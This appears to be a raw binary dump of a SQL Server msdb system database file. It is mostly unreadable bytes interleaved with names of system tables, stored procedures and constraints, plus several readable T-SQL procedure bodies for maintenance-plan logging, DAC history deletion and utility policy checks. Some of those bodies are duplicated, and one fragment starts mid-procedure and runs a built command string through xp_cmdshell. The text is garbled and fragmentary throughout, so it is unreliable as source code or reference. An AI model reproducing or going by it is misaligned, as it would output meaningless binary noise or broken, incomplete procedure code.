j8&n':"B':"B':"B':^=':DhF?"B"BaD"BeE"B)V"BW"BeE"BW"B"BeE"BW"BN$"BN$':':':':!':!':!j8Fj8Ojj8me
+j8me
+j8
me
+j8+9߭,9߭,9	߭,9
߭,9-9-9-9-9-9-9-9-9	-9
-9-9-9
-9-9-9-9Q.9Q.9Q.9Q.9Q.9Q.9	Q.9
Q.9Q.9Q.9
Q.9Q.9Q.9Q.j8n3j8n3j8n3j8n3j8n3j8n3j8n3j8n3j8	n3j8
n3j8n3"B`d8"B`d8"B`d86@;o4<^?S@S@@^?AĄX9TȚH6@;I"BI"BI"BJ"BJ"Bq}_M"Bq}_M"BSN"BSNj8;Pj8;P9-~_9-~_9-~_9-~_9-~_9-~_9-~_9-~_9-~_9	-~_9
-~_9-~_9-~_9
-~_9-~_9-~_9-~_9Qr`9Qr`9Qr`9Qr`9Qr`9Qr`9Qr`9	Qr`9
Qr`9Qr`9Qr`9
Qr`9Qr`9Qr`9Qr`j8WZbj8WZbj8WZbj8WZbj8
WZbj8Bdj8Bdj8
Bdj87ej87ej8
7e@tOg9=y9=y9=y9=y9
=y9=y9~9~9~9~9~9~9	~9
~9~9~9
~9~Au}FAu}FAu}FAu}FAu}FAu}FAu}FAu}FA	u}FAqGAqGAqGAWAWA	WAh@DtAh@DtAh@DtAh@DtAh@Dt~<0b{~<0b{~<0b{~<0b{~<i|~<i|~<}~<}~<}wBUwBUwBUwB"UI>UI>UT<UT<UwBW~VwBW~VwBW~VwBW~VI>W~VI>W~VT<W~VT<W~V@7\ĄX9BNd@BNdALL:@ĄX9@L:9ĄX99ҕ;?r>ҕ;?r>ҕ;?r>ҕ;?r>ҕ;?r>ҕ;?r>ҕ;?r>ҕ;?r>ҕ;	?r>ҕ;
?r>ҕ;?r>ҕ;?r>ҕ;
?r>L:cf?Z@6CZ@6CZ@6CZ@6CZ@6CZ@6CZ@6C?r>+D?r>+Dҕ;+=Eҕ;+=Eҕ;+=Eҕ;+=Eҕ;+=Eҕ;+=Eҕ;	+=Eҕ;
+=Eҕ;+=Eҕ;+=Eҕ;
+=Eҕ;daFҕ;daFҕ;daFҕ;daFҕ;daFҕ;	daFҕ;Gҕ;Gҕ;Gҕ;Gҕ;Gҕ;Gҕ;Gҕ;Gҕ;	Gҕ;
Gҕ;Gҕ;Gҕ;
Gҕ;֩Gҕ;֩Gҕ;	֩G?r>H?r>Hҕ;Hҕ;Hҕ;Hҕ;Hҕ;Hҕ;Hҕ;Hҕ;	Hҕ;
Hҕ;Hҕ;Hҕ;
Hҕ;HIҕ;HIҕ;HIҕ;HIҕ;	HIҕ;Jҕ;J?r>:K?r>
:Kҕ;:Kҕ;:Kҕ;	:Kҕ;
:KZ@^LZ@^LZ@^LZ@^LZ@^LZ@^LZ@^L?r>,M?r>,M?r>eN?r>eN?r>eN?r>eN?r>eN?r>eN?r>eN?r>	eN?r>
eN?r>eN?r>
eN?r>eN?r>P?r>
Pҕ;Qҕ;Q?r>\mS?r>\mScf?\mSҕ;UUҕ;UU:-IV9f=Wҕ;dA7,ĄX97,@7,9I=r5=>9I=Y1?9I=}%@C:WEC:WEC:WEC:WEC:WEC0KC0KC0KC0KCTLCTLCyMCyM9I=[$l9I=?p@AA<=@yI@f&bK@JVLҕ;9{ҕ;9{ҕ;9{ҕ;9{ҕ;	9{B|ĄX9|@|s?L*H+>p+O>,@ݐ.,A/eB&y0!=i?!=i?WE>i?WE>i?WE>i?<ɍ@<ɍ@!=ɍ@!=ɍ@A>W\A>W\A>W\A>W\A>W\A>W\A>W\A>W\;>W\;wK];?^;I;nxWE>HwB"UzVD2 hH6$z|jXF4"hZt

b




>

,
P
x
J8&"
~tbPv>d,R@. 2r`NlZp^L:(4"<*p:^(
L
~n\
r`Nvf<T*dBn\R|Jzj8h@X&V.0FDx2HV$6J
<	8
*	f&
	T|
	Bj
0			ptX	^bF	P	L>	v:,r	d`	R(N	@4.D ln

x\J~8


lf&

ZTB0

Hn
6\
$r`\X%b
Lv:0C"6	p<sysproxysubsystem0R<p7	p>sp_verify_job_time0R<p7	p>sp_verify_job_date0`d8	p>sp_verify_schedule0`d8	@RX`sysoriginatingservers_viewdbomsdb0`d8	`@FSQLAGENT_SUSER_SIDdbo0(2;7	@>DLsysmail_allitemsdbomsdb0(2;7	@LRZsysmail_logmailevent_spdbomsdb0'7	@DJRsysdbmaintplan_jobsdbomsdb0'7	@NT\sysdbmaintplan_databasesdbomsdb0'7	p8sysdbmaintplans0'7	@<BJsysdbmaintplansdbomsdb07L7	pJsysdbmaintplan_databases07L7	@NT\sysdbmaintplan_databasesdbomsdb07L7	@<BJsysdbmaintplansdbomsdb06	`flsp_syscollector_verify_collection_setdbo06	p2sp_start_job06	`hnsp_syscollector_verify_collector_statedbo06	`sp_syscollector_get_collection_set_execution_statusdbo06	`TZsyscollector_collection_setsdbo0
B7	pTsysschedules_localserver_view0
B7	pVsp_verify_schedule_identifiers0
B7	@bhpsyscollector_config_store_internaldbomsdb0
B7	`flsyscollector_collection_sets_internaldbo0
B7	`flsp_syscollector_verify_collection_setdbo0
B7	`V\syscollector_collection_itemsdbo0
B7	p2sp_start_job0
B7	`hnsp_syscollector_verify_collector_statedbo0
B7		`sp_syscollector_get_collection_set_execution_statusdbo0
B7
	`TZsyscollector_collection_setsdbo0
B7	`RXsp_syscollector_create_jobsdbo0
B7	@TZbsp_verify_proxy_identifiersdbomsdb077	@TZbsyspolicy_policy_categoriesdbomsdb077	`V\sp_syspolicy_check_membershipdbo0#&7	@V\dsysutility_ucp_deployed_dacsdbomsdb0#&7	@JPXsysutility_ucp_volumesdbomsdb0G8	@NT\sysutility_ucp_instancesdbomsdbotifydbomsdb0^?	p@sp_verify_subsystem0^?	pPsp_verify_proxy_permissions0^?	p(sysjobs0^?	@,2:sysjobsdbomsdb0^?	@8>Fsysjobserversdbomsdb0^?	@4:Bsysjobstepsdbomsdb0S@	@,2:sysjobsdbomsdb0S@	pJsp_verify_jobproc_caller0S@	p<sp_verify_jobstep0S@	@HNVsp_post_msx_operationdbomsdb0S@	@8>Fsysjobserversdbomsdb0S@	pLsp_verify_job_identifiers0S@	@BHPsp_sqlagent_notifydbomsdb0S@	@4:Bsysjobstepsdbomsdb0S@		pPsp_verify_proxy_identifiers0@	`JPsp_add_jobstep_internaldbo0(2;7	@>DLsysmail_allitemsdbomsdb0(2;7	@LRZsysmail_logmailevent_spdbomsdb0E;	@@FNsysmail_mailitemsdbomsdb0E;	@DJRsysmail_attachmentsdbomsdb0'7	@DJRsysdbmaintplan_jobsdbomsdb0'7	@NT\sysdbmaintplan_databasesdbomsdb0'7	p8sysdbmaintplans0'7	@<BJsysdbmaintplansdbomsdb07L7	pJsysdbmaintplan_databases07L7	@NT\sysdbmaintplan_databasesdbomsdb07L7	@<BJsysdbmaintplansdbomsdb0pp8	@NT\sysdbmaintplan_databasesdbomsdb09	@,2:sysjobsdbomsdb09	@DJRsysdbmaintplan_jobsdbomsdb09	@<BJsysdbmaintplansdbomsdb09	@4:Bsysjobstepsdbomsdb0:	p@sysdbmaintplan_jobs0:	@DJRsysdbmaintplan_jobsdbomsdb0;	@DJRsysdbmaintplan_jobsdbomsdb0;	@NT\sysdbmaintplan_databasesdbomsdb0;	@<BJsysdbmaintplansdbomsdb06	`flsp_syscollector_verify_collection_setdbo06	p2sp_start_job06	`hnsp_syscollector_verify_collector_statedbo06	`sp_syscollector_get_collection_set_execution_statusdbo06	`TZsyscollector_collection_setsdbo0
B7	pTsysschedules_localserver_view0
B7	pVsp_verify_schedule_identifiers0
B7	@bhpsyscollector_config_store_internaldbomsdb0
B7	`flsyscollector_collection_sets_internaldbo0
B7	`flsp_syscollector_verify_collection_setdbo0
B7	`V\syscollector_collection_itemsdbo0
B7	p2sp_start_job0
B7	`hnsp_syscollector_verify_collector_statedbo0
B7		`sp_syscollector_get_collection_set_execution_statusdbo0
B7
	`TZsyscollector_collection_setsdbo0
B7	`RXsp_syscollector_create_jobsdbo0
B7	@TZbsp_verify_proxy_identifiersdbomsdb0Ff8	``fsyscollector_config_store_internaldbo0Ff8	`lrsp_syscollector_stop_collection_set_jobsdbo077	@TZbsyspolicy_policy_categoriesdbomsdbZ$P@z@zVxZ&

0	6	
:H\PV`.`b
"$UBq
&<YRJPK__syssched__C46A8A6F9F7D6ED0&EGJPK__syssessi__69B13FDCD888F710&[y pk_MSdbms&s2pk_MSdbms_datatype&)"Bpk_MSdbms_datatype_mapping&RD(pk_MSdbms_map&3
<PK_sysmaintplan_subplan&HPK_sysmaintplan_taskdetail_id&>6tJPK__sysssisl__3213E83F87E3C375&U]vPK_syscollector_config_store_internal_paremeter_name&Ͽ^PK_syscollector_collection_sets_internal&K^PK_syscollector_collector_types_internal&}(`PK_syscollector_collection_items_internal&*<HPK_syscollector_execution_log&GNALPK_syscollector_execution_stats&\hPK_syscollector_blobs_internal_paremeter_name&@<PK_syspolicy_conditions&F>PK_syspolicy_object_sets&e8PK_syspolicy_policies&B
FPK_sysdac_instances_internal&`ABPK_sysdac_history_internal&~}<%JPK__sysutili__72E12F1A539BA7C8&kLvJPK__sysutili__077EA96596DEE022&4xJPK__sysutili__AC2D3E99F29AB7EEr&9',sp_add_category&")2sp_delete_category&4A*.sp_help_category&-<sp_help_jobhistory_full&Q.Bsp_help_jobhistory_summary&/2sp_help_jobhistory&>0.sp_add_jobserver&b14sp_delete_jobserver&520sp_help_jobserver&n36sp_help_downloadlist&ϓ4Vsp_enum_sqlagent_subsystems_internal&5Dsp_enum_sqlagent_subsystems&`d8,sp_add_schedule&ĄX92sp_attach_schedule&L:2sp_detach_schedule&)=2sp_delete_schedule&9>Bsp_get_jobstep_db_username&S@<sp_add_jobstep_internal&@*sp_add_jobstep&B0sp_delete_jobstep&7C,sp_help_jobstep&[E2sp_help_jobsteplog&F6sp_delete_jobsteplog&GDsp_get_schedule_description&TȚH2sp_add_jobschedule&J8sp_delete_jobschedule&4wK.sp_help_schedule&8YkL4sp_help_jobschedule&SN"sp_add_job&;P(sp_delete_job&U0Q@sp_get_composite_job_info&2$R$sp_help_job&VS.sp_help_jobcount&{T>sp_help_jobs_in_schedule&rU<sp_apply_job_to_targets&W0sp_get_job_alerts&xZ<sp_cycle_agent_errorlog&Ȝ[Hsp_get_chunked_jobstep_params&\<sp_check_for_owned_jobs&:]Dsp_check_for_owned_jobsteps&tOg"sp_addtask&sh$sp_droptask&i8sp_add_alert_internal&Xj&sp_add_alert&k,sp_delete_alert&(l(sp_help_alert&<qn,sp_add_operator&p.sp_help_operator&ݜq8sp_help_operator_jobs&nmu4sp_add_notification&=Uw:sp_delete_notification&vIx6sp_help_notification&=y4sp_help_jobactivity&̴~Bsp_get_message_description&~:sp_help_jobhistory_sem&>>sp_convert_jobid_to_char&6sp_GetAttachmentData&Fsp_ExternalMailQueueListener&3
<PK_sysmaintplan_subplan&HPK_sysmaintplan_taskdetail_id&m.(sp_get_script&5Bsp_clear_dbmaintplan_by_db&6<sp_add_maintenance_plan&'7Bsp_delete_maintenance_plan&7L7Bsp_add_maintenance_plan_db&pp8Hsp_delete_maintenance_plan_db&9Dsp_add_maintenance_plan_job&:Jsp_delete_maintenance_plan_job&;>sp_help_maintenance_plan& 
K*restorehistory&VM$restorefile&O.restorefilegroup&UNsp_delete_database_backuphistory&W~V<sp_delete_backuphistory&7\Nsp_add_log_shipping_monitor_jobs&+]Dsp_add_log_shipping_primary&^Hsp_add_log_shipping_secondary&X_Tsp_delete_log_shipping_monitor_jobs&=`Jsp_delete_log_shipping_primary&a`Nsp_delete_log_shipping_secondary&ucNsp_get_log_shipping_monitor_info&eTsp_delete_log_shipping_monitor_info&˧i:sp_change_monitor_role&̅jZsp_create_log_shipping_monitor_account&vnl2pk_sysssispackages&&r>PK_sysssispackagefolders&>6tJPK__sysssisl__3213E83F87E3C375&U]vPK_syscollector_config_store_internal_paremeter_name&Ͽ^PK_syscollector_collection_sets_internal&K^PK_syscollector_collector_types_internal&}(`PK_syscollector_collection_items_internal&*<HPK_syscollector_execution_log&GNALPK_syscollector_execution_stats&\hPK_syscollector_blobs_internal_paremeter_name&@<PK_syspolicy_conditions&FJPK_syspolicy_policy_categories&F>PK_syspolicy_object_sets&e8PK_syspolicy_policies&C>PK_syspolicy_target_sets&G\PK_syspolicy_target_set_levels_internal&B
FPK_sysdac_instances_internal&`ABPK_sysdac_history_internal&~}<%JPK__sysutili__72E12F1A539BA7C8	(<
d8
(6HX~RFF4`L
*R"8$
\܍v&+\(syscategories&.syscerts&P(syschildinsts& sysclones&@"sysclsobjs&)"syscolpars&|&syscommittab&R.syscompfragments&G&sysconvgroup&>.syscscolsegments&?0syscsdictionaries&	'-4sysdatatypemappings&"sysdbfiles& sysdbfrag&sysdbreg&Isysdercv&H sysdesend&j8,sysdownloadlist&8 sysendpts& sysfgfrag& sysfiles1&O$sysfoqueues&Ysysfos& sysftinds&V,sysftproperties&T.sysftsemanticsdb&U"sysftstops&N$sysguidrefs&6$sysidxstats&7 sysiscols&~H*sysjobactivity&9(sysjobhistory&(Csysjobs&eE&sysjobs_view&X,sysjobschedules&AD(sysjobservers&)?K$sysjobsteps&bcL,sysjobstepslogs&" ,sysdbmaintplans&5&4sysdbmaintplan_jobs&,)>sysdbmaintplan_databases&,:sysdbmaintplan_history&\1iRsyscollector_config_store_internal&yQ@syscollector_config_store&
Xsyscollector_collection_sets_internal&|Fsyscollector_collection_sets&'Xsyscollector_collector_types_internal&'%"Fsyscollector_collector_types&Dڎ'Zsyscollector_collection_items_internal&aS,Hsyscollector_collection_items&Ff8xsyscollector_collection_set_is_running_update_trigger&ҕ;Tsyscollector_execution_log_internal&?r>Bsyscollector_execution_log&Z@Xsyscollector_execution_stats_internal&6CFsyscollector_execution_stats&QLsyscollector_execution_log_full&J~[Dsyscollector_blobs_internal&.^Psyscollector_tsql_query_collector&W`xsyscollector_collection_item_parameter_update_trigger&{ansyscollector_tsql_query_collector_delete_trigger&	c	@sysdac_instances_internal&_<M<sysdac_history_internal&.sysdac_instances&5"sysdevices&6&sysdatabases&7,syscursortables&8"syscursors&9(syscursorrefs&:.syscursorcolumns&;(syscurconfigs&<(sysconfigures&=$syscharsets&qsysfiles&r(sysfilegroups&y&sysindexkeys&z"sysindexes&{4sysfulltextcatalogs&|*sysconstraints&}*sysforeignkeys&~"sysdepends&$syscomments&"syscolumnser_user_credential_sp&
dLsysmail_drop_user_credential_sp&e:sysmail_add_account_sp&JEf@sysmail_delete_account_sp&ig<sysmail_help_account_sp&hHsysmail_help_admin_account_sp&iHsysmail_add_profileaccount_sp&gkNsysmail_delete_profileaccount_sp&lJsysmail_help_profileaccount_sp&Bm6sysmail_configure_sp&gn@sysmail_help_configure_sp&KoLsysmail_help_configure_value_sp&spLsysmail_add_principalprofile_sp&[rRsysmail_delete_principalprofile_sp&/PsNsysmail_help_principalprofile_sp&h@Dt<sysmail_logmailevent_sp& w:sysmail_help_status_sp&Lx8sysmail_help_queue_sp&" ,sysdbmaintplans&5&4sysdbmaintplan_jobs&,)>sysdbmaintplan_databases&,:sysdbmaintplan_history&\1iRsyscollector_config_store_internal&yQ@syscollector_config_store&
Xsyscollector_collection_sets_internal&|Fsyscollector_collection_sets&'Xsyscollector_collector_types_internal&'%"Fsyscollector_collector_types&Dڎ'Zsyscollector_collection_items_internal&aS,Hsyscollector_collection_items&Ff8xsyscollector_collection_set_is_running_update_trigger&ҕ;Tsyscollector_execution_log_internal&?r>Bsyscollector_execution_log&Z@Xsyscollector_execution_stats_internal&6CFsyscollector_execution_stats&QLsyscollector_execution_log_full&J~[Dsyscollector_blobs_internal&.^Psyscollector_tsql_query_collector&W`xsyscollector_collection_item_parameter_update_trigger&{ansyscollector_tsql_query_collector_delete_trigger&	c	@sysdac_instances_internal&_<M<sysdac_history_internal&.sysdac_instances&3 syslogins&4$syslockinfo&5"sysdevices&6&sysdatabases&7,syscursortables&8"syscursors&9(syscursorrefs&:.syscursorcolumns&;(syscurconfigs&<(sysconfigures&=$syscharsets&>&syslanguages&qsysfiles&r(sysfilegroups&y&sysindexkeys&z"sysindexes&{4sysfulltextcatalogs&|*sysconstraints&}*sysforeignkeys&~"sysdependsz~	F	
0<|j>fB4 hH(F
B`>
h




2hZX2.f8

	
	BL*	"`yQb\OFQ~0g]$	@>DLsystargetserversdbomsdb0Q%	@>DLsystargetserversdbomsdb0Q%	@TZbsystargetservergroupmembersdbomsdb0Q%	@HNVsystargetservergroupsdbomsdb09'	@8>Fsyscategoriesdbomsdb09'	p>sp_verify_category0-(	@8>Fsyscategoriesdbomsdb0-(	p>sp_verify_category0")	@,2:sysjobsdbomsdb0")	@8>Fsyscategoriesdbomsdb0")	@06>sysalertsdbomsdb0")	@6<Dsysoperatorsdbomsdb0")	p>sp_verify_category04A*	@8>Fsyscategoriesdbomsdb04A*	p>sp_verify_category0me
+	@>DLsystargetserversdbomsdb0me
+	@<BJsysdownloadlistdbomsdb0+	@>DLsystargetserversdbomsdb0+	@HNVsp_post_msx_operationdbomsdb0+	@<BJsysdownloadlistdbomsdb0߭,	@8>Fsysjobhistorydbomsdb0߭,	pLsp_verify_job_identifiers0m$	p8sysssispackages0m$	`flsyscollector_collector_types_internaldbo0ґ%	p8sysssispackages0ґ%	`TZsyscollector_collector_typesdbo0ґ%	`flsp_syscollector_verify_collector_typedbo0ґ%	`flsyscollector_collector_types_internaldbo0&	`flsp_syscollector_verify_collector_typedbo0&	pdsyscollector_collector_types_internal0aS,	`hnsyscollector_collection_items_internaldbo0G-	`flsp_syscollector_verify_collector_typedbo0G-	pdsyscollector_collector_types_internal0G-	`flsyscollector_collector_types_internaldbo0G-	`V\syscollector_collection_itemsdbo07,	@@FNsp_update_jobstepdbomsdb07,	`RXfn_syspolicy_get_ps_commanddbo07,	@,,4sysjobsmsdb07,	@28@sp_add_jobdbomsdb07,	@6<Dsysschedulesdbomsdb07,	@>DLsp_add_jobserverdbomsdb07,	@BHPsp_attach_scheduledbomsdb07,	`V\sp_syspolicy_check_membershipdbo07,		@:@Hsp_add_jobstepdbomsdb00&	`flsysutility_ucp_configuration_internaldbo0$'	@V\dsysutility_ucp_configurationdbomsdb0)(	@hnvsysutility_ucp_configuration_internaldbomsdb0Ts%	@LRZsysutility_ucp_policiesdbomsdb0%	@LRZsysutility_ucp_policiesdbomsdb0%	@rxfn_sysutility_ucp_get_global_health_policydbomsdb0ƻ&	@BHPsyspolicy_policiesdbomsdb0ƻ&	@^dlsysutility_ucp_policy_violationsdbomsdb0'	@BHPsyspolicy_policiesdbomsdb0'	@^dlsysutility_ucp_policy_violationsdbomsdb08(	`djsyn_sysutility_ucp_space_utilizationdbo0q()	``fsyn_sysutility_ucp_cpu_utilizationdbo0L*	`\bsysutility_ucp_managed_instancesdbo0L*	`JPsyn_sysutility_ucp_dacsdbo0p+	`TZsyn_sysutility_ucp_computersdbo0,	`PVsyn_sysutility_ucp_volumesdbo0U-	`djsyn_sysutility_ucp_space_utilizationdbo0U-	@nt|sysutility_ucp_processing_state_internaldbomsdb0*i$	@x~sysutility_ucp_aggregated_dac_health_internaldbomsdb0*i$	@`fnsysutility_ucp_mi_health_internaldbomsdb0*i$	@nt|sysutility_ucp_processing_state_internaldbomsdb0*i$	`ntsysutility_ucp_managed_instances_internaldbo0*i$	@pv~sysutility_ucp_managed_instances_internaldbomsdb0*i$	@sp_sysutility_ucp_calculate_aggregated_dac_healthdbomsdb0*i$	@bhpsysutility_ucp_dac_health_internaldbomsdb0*i$	@~sp_sysutility_ucp_calculate_aggregated_mi_healthdbomsdb0*i$		@v|sysutility_ucp_aggregated_mi_health_internaldbomsdb0c%	@hnvsp_syscollector_update_collection_setdbomsdb0c%	@djrsp_syscollector_stop_collection_setdbomsdb0c%	@PV^syscollector_config_storedbomsdb0c%	@`fnsp_syscollector_disable_collectordbomsdb0c%	@djrsp_sysutility_mi_disable_collectiondbomsdb0c%	@^dlsp_syscollector_enable_collectordbomsdb0c%	@djrsp_syscollector_set_cache_directorydbomsdb0c%	@nt|sp_sysutility_mi_remove_ucp_registrationdbomsdb0c%		@sp_syscollector_get_collection_set_execution_statusdbomsdb0c%
	@V\dsyscollector_collection_setsdbomsdbility_ucp_computersdbo0,	`PVsyn_sysutility_ucp_volumesdbo0U-	`djsyn_sysutility_ucp_space_utilizationdbo0U-	@nt|sysutility_ucp_processing_state_internal6
H
	Dn	tn


N^|6>nv84zH~
	t@42lZX|~`0'"T^\add00'P Z)^hsp_delete_job_references00?
\F LZ\lfk_MSdbms_datatype_dbms_id00N$P Z
)^dsp_delete_all_msx_jobs00x.P
U nZ
)^LMSdbms_map00HP Z)^sp_generate_target_server_job_assignment_sql00RDPKx.PoZ\Rpk_MSdbms_map00lP wZ*)^tsp_generate_server_description00v8D x.PoZ\tDF__MSdbms_ma__src_l__173876EA00P 3ZA)^\sp_msx_set_account00#,D x.PoZ\tDF__MSdbms_ma__src_l__182C9B2300$U I[)^\sysmail_servertype00]>PK$I[\~SYSMAIL_SERVERTYPE_TypeMustBeUnique00bD $I[\tDF__sysmail_s__is_in__16CE629600φD $I[\tDF__sysmail_s__is_ou__17C286CF00@F j}[\|FK_sysmaintplan_log_detail_task_id0034P :~[)^fsp_maintplan_delete_log00lXP <[)^nsp_maintplan_delete_subplan00|P [5)^vsp_maintplan_update_subplan_tsx00|V [\psyscollector_collection_sets00	*pP [)^sp_syscollector_verify_collection_set00BNdP [)^nsp_syscollector_create_jobs00{rXP [2)^sp_syscollector_create_collection_set00FPKmR\\hPK_syspolicy_object_sets00;UQmR\\rUQ_syspolicy_object_sets_name00D/D mR\\tDF__syspolicy__is_sy__162F441800Qh#@F mR\\FK_syspolicy_object_sets_syspolicy_management_facets00V \\bsyspolicy_object_sets00V >\\Xsysdac_instances009P 
A\)^psp_sysdac_ensure_dac_creator00'^P B\()^dsp_sysdac_add_instance00`P B\>)^jsp_sysdac_update_instance00D 	y\\tDF__sysutilit__is_gl__14D10B8B00/V y\\fsysutility_ucp_policies00SP z\&)^psp_sysutility_ucp_add_policy006xP {\<)^vsp_sysutility_ucp_delete_policy00aV ̣\\sysutility_ucp_aggregated_dac_health00%V o\\~sysutility_ucp_aggregated_mi_health00IV \\jsysutility_ucp_dac_health00nxV \\hsysutility_ucp_mi_healthP [[sp_syscollector_create_collection_set00LP n[n[xsp_syscollector_update_job_proxy00@P A[A[sp_syscollector_update_collection_set_internal00&4P #[#[sp_syscollector_update_collection_set00_)P [[sp_syscollector_configure_sql_dumper00'U 
[[syscollector_collector_types_internal00FPKmR\\hPK_syspolicy_object_sets00;UQmR\\rUQ_syspolicy_object_sets_name00D/D mR\\tDF__syspolicy__is_sy__162F441800Qh#@F mR\\FK_syspolicy_object_sets_syspolicy_management_facets00V \\bsyspolicy_object_sets00ðP \\sp_syspolicy_verify_object_set_identifiers00P 8\8\sp_syspolicy_verify_object_set_references005P \\nsp_syspolicy_add_object_set00nP t\t\tsp_syspolicy_delete_object_set00AU \="\nsyspolicy_policies_internal00V >\>\Xsysdac_instances009P 
A\
A\psp_sysdac_ensure_dac_creator00'^P B\B\dsp_sysdac_add_instance00`P B\B\jsp_sysdac_update_instance00P C\C\nsp_sysdac_add_history_entry00P D\D\jsp_sysdac_delete_instance00P WE\WE\hsp_sysdac_delete_history00DP HF\HF\lsp_sysdac_upgrade_instance00}7P F\F\fsp_sysdac_drop_database00D 	y\y\tDF__sysutilit__is_gl__14D10B8B00/V y\y\fsysutility_ucp_policies00SP z\z\psp_sysutility_ucp_add_policy006xP {\{\vsp_sysutility_ucp_delete_policy00oP |\|\vsp_sysutility_ucp_update_policy00aV ̣\̣\sysutility_ucp_aggregated_dac_health6<"fp
DN"D
HP~
d
f	:6
X"t
BvP
48~
@	`+<vN0 &8(NULL)0Pi z8CREATE PROCEDURE sp_maintplan_close_logentry
    @task_detail_id     UNIQUEIDENTIFIER,
    @end_time          DATETIME            = NULL,
    @succeeded         TINYINT
AS
BEGIN

   --Set defaults
   IF (@end_time IS NULL)
   BEGIN
      SELECT @end_time = GETDATE()
   END

    -- Raise an error if the @task_detail_id doesn't exist
    IF( NOT EXISTS(SELECT * FROM sysmaintplan_log WHERE (task_detail_id = @task_detail_id)))
   BEGIN
        DECLARE @task_detail_id_as_char VARCHAR(36)
        SELECT @task_detail_id_as_char = CONVERT(VARCHAR(36), @task_detail_id)
        RAISERROR(14262, -1, -1, '@task_detail_id', @task_detail_id_as_char)
      RETURN(1)
   END

   UPDATE msdb.dbo.sysmaintplan_log 
    SET end_time = @end_time, succeeded = @succeeded 
    WHERE (task_detail_id = @task_detail_id)

    RETURN (@@ERROR)
END
0&4 D82h0&10 @8
CREATE PROCEDURE [dbo].[sp_sysdac_delete_history]  
    @dac_instance_name sysname, 
    @older_than datetime
AS  
SET NOCOUNT ON;
BEGIN  
    DECLARE @retval INT  
    DECLARE @instanceId UniqueIdentifier

    SELECT @older_than = COALESCE(@older_than, GETDATE())


    IF @dac_instance_name IS NULL
    BEGIN
       -- Delete everyone who is not orphaned that you have visibility to 
       DELETE FROM dbo.sysdac_history_internal
              WHERE instance_id IN (SELECT instance_id FROM dbo.sysdac_instances)
              AND (date_modified < @older_than)

       -- Also remove orphans (note that we need to look into sysdac_instances_internal table)
       DELETE FROM dbo.sysdac_history_internal
              WHERE instance_id NOT IN( SELECT instance_id FROM dbo.sysdac_instances_internal)
              AND (date_modified < @older_than)
    END
    ELSE
    BEGIN
        -- Delete all entries that the user can view (i.e own the DAC or be sysadmin)
        DELETE FROM dbo.sysdac_history_internal
        WHERE instance_id IN (
            SELECT instance_id 
            FROM dbo.sysdac_instances 
            WHERE instance_name = @dac_instance_name)
        AND (date_modified < @older_than)
    END


    SELECT @retval = @@error
    RETURN(@retval)
END
0T 8CREATE PROCEDURE dbo.sp_sysutility_ucp_calculate_filegroups_with_policy_violations 
   @new_set_number INT
WITH EXECUTE AS OWNER
AS
BEGIN
   INSERT INTO sysutility_ucp_filegroups_with_policy_violations_internal(
        server_instance_name, 
        database_name, 
        [filegroup_name],
        policy_id,
        set_number)
      SELECT fg1.server_instance_name,
             fg1.database_name,
             fg1.[filegroup_name],
             fg1.policy_id,
             @new_set_number
      FROM (SELECT pv.policy_id,
                   f.server_instance_name, f.database_name, f.[filegroup_name], 
                   COUNT(*) as policy_violations
            FROM dbo.sysutility_ucp_database_files AS f,
                 dbo.sysutility_ucp_policy_violations AS pv
            WHERE f.powershell_path = pv.target_query_expression 
            GROUP BY pv.policy_id, f.server_instance_name, f.database_name, f.[filegroup_name]) as fg1,
            (SELECT f.server_instance_name, f.database_name, f.[filegroup_name],
                    COUNT(*) as file_count
             FROM dbo.sysutility_ucp_database_files AS f
             GROUP BY f.server_instance_name, f.database_name, f.[filegroup_name]) AS fg2
      WHERE fg1.server_instance_name = fg2.server_instance_name AND
            fg1.database_name = fg2.database_name AND
            fg1.[filegroup_name] = fg2.[filegroup_name] AND
            fg1.policy_violations = fg2.file_count     
END
D ' + @network_address + N' ' + @res_warning
      SELECT @command = STUFF(@command, PATINDEX(N'%[%%]s%', @command), 2, NT_CLIENT())
      SELECT @command = STUFF(@command, PATINDEX(N'%[%%]s%', @command), 2, @local_machine_name)
      EXECUTE master.dbo.xp_cmdshell @command, no_output
    END
  END

  -- Delete the 'MSXOperator' (must do this last)
  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysoperators
              WHERE (name = N'MSXOperator')))
    EXECUTE msdb.dbo.sp_delete_operator @name = N'MSXOperator'

  RETURN(0) -- 0 means success
END
0Pi z8CREATE PROCEDURE sp_maintplan_close_logentry
    @task_detail_id     UNIQUEIDENTIFIER,
    @end_time          DATETIME            = NULL,
    @succeeded         TINYINT
AS
BEGIN

   --Set defaults
   IF (@end_time IS NULL)
   BEGIN
      SELECT @end_time = GETDATE()
   END

    -- Raise an error if the @task_detail_id doesn't exist
    IF( NOT EXISTS(SELECT * FROM sysmaintplan_log WHERE (task_detail_id = @task_detail_id)))
   BEGIN
        DECLARE @task_detail_id_as_char VARCHAR(36)
        SELECT @task_detail_id_as_char = CONVERT(VARCHAR(36), @task_detail_id)
        RAISERROR(14262, -1, -1, '@task_detail_id', @task_detail_id_as_char)
      RETURN(1)
   END

   UPDATE msdb.dbo.sysmaintplan_log 
    SET end_time = @end_time, succeeded = @succeeded 
    WHERE (task_detail_id = @task_detail_id)

    RETURN (@@ERROR)
END
0
^ r8CREATE PROCEDURE sp_maintplan_update_log
    --Updates the log_details table
    @task_detail_id      UNIQUEIDENTIFIER,       --Required
    @Line1              NVARCHAR(256),       --Required
    @Line2              NVARCHAR(256)   = NULL,
    @Line3              NVARCHAR(256)   = NULL,
    @Line4              NVARCHAR(256)   = NULL,
    @Line5              NVARCHAR(256)   = NULL,
    @server_name      sysname,            --Required
    @succeeded         TINYINT,           --Required
    @start_time           DATETIME,          --Required
    @end_time          DATETIME,          --Required
    @error_number     int=NULL,
    @error_message       NVARCHAR(max)   = NULL,
    @command           NVARCHAR(max)   = NULL
AS
BEGIN

   --Prep strings
   SET NOCOUNT ON
   SELECT @Line1 = LTRIM(RTRIM(@Line1))
   SELECT @Line2 = LTRIM(RTRIM(@Line2))
   SELECT @Line3 = LTRIM(RTRIM(@Line3))
   SELECT @Line4 = LTRIM(RTRIM(@Line4))
   SELECT @Line5 = LTRIM(RTRIM(@Line5))

   INSERT INTO msdb.dbo.sysmaintplan_logdetail(
        task_detail_id, 
        line1,
        line2, 
        line3, 
        line4, 
        line5, 
        server_name, 
        start_time, 
        end_time, 
        error_number, 
        error_message, 
        command, 
        succeeded)
   VALUES(
        @task_detail_id,
        @Line1,
        @Line2,
        @Line3,
        @Line4,
        @Line5,
        @server_name,
        @start_time,
        @end_time,
        @error_number,
        @error_message,
        @command,
        @succeeded)

